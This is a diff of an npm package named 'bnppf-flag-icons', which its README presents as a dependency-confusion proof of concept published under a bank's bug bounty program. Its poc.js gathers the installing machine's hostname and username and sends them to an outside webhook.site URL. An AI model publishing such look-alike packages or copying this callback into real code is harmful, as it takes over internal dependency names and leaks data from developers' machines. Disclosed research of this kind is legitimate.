bnppf-flag-icons 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -0
- package/package.json +9 -0
- package/poc.js +14 -0
package/README.md
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
# Security Research PoC
|
|
2
|
+
Published by: mrbhagat (Intigriti researcher)
|
|
3
|
+
|
|
4
|
+
Published as part of security research under BNP Paribas Fortis's
|
|
5
|
+
Intigriti bug bounty program, testing dependency confusion —
|
|
6
|
+
public registry name matches an internal package referenced in
|
|
7
|
+
webpack sourcemaps on www.bnpparibasfortis.be.
|
|
8
|
+
|
|
9
|
+
No malicious payload. If your build pulled this package, contact
|
|
10
|
+
mrbhagat via Intigriti.
|
package/package.json
ADDED
package/poc.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const RESEARCHER = 'mrbhagat';
|
|
5
|
+
|
|
6
|
+
const data = JSON.stringify({
|
|
7
|
+
researcher: RESEARCHER,
|
|
8
|
+
host: os.hostname(),
|
|
9
|
+
user: os.userInfo().username,
|
|
10
|
+
time: Date.now()
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
https.get(`https://webhook.site/f3d7a882-435a-4959-a4e9-18a3886f3447?d=${encodeURIComponent(data)}`).on('error', () => {});
|
|
14
|
+
console.log(`[SECURITY RESEARCH POC by ${RESEARCHER}] No malicious action taken. See README.md.`);
|